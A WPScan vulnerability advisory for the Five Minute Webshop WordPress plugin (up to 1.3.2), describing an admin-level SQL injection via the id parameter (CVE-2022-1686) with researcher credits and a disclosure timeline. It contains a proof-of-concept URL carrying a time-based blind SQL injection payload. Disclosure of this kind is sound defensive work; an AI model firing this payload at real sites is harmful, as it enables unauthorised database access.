WordPress Plugin Vulnerabilities

Five Minute Webshop <= 1.3.2 - Admin+ SQLi via id

Description

The plugin does not sanitise and escape the id parameter before using it in a SQL statement when editing a product via the admin dashboard, leading to an SQL Injection

Proof of Concept

https://example/wp-admin/admin.php?page=fmwes_edit_product&id=1+AND+(SELECT+6037+FROM+(SELECT(SLEEP(5)))Uiuu)

Affects Plugins

five-minute-webshop

No known fix - plugin closed

References

CVE

CVE-2022-1686

URL

https://bulletin.iese.de/post/five-minute-webshop_1-3-2_2

Classification

Type

SQLI

OWASP top 10

A1: Injection

CWE

CWE-89

Miscellaneous

Original Researcher

Daniel Krohmer (Fraunhofer IESE, Germany), Shi Chen (University of Kaiserslautern, Germany)

Submitter

Daniel Krohmer

Submitter website

https://iese.fraunhofer.de/en.html

Verified

Yes

WPVDB ID

1a5ce0dd-6847-42e7-8d88-3b63053fab71

Timeline

Publicly Published

2022-05-09 (about 6 months ago)

Added

2022-05-12 (about 6 months ago)

Last Updated

2022-05-13 (about 6 months ago)

Our Other Services

WPScan WordPress Security Plugin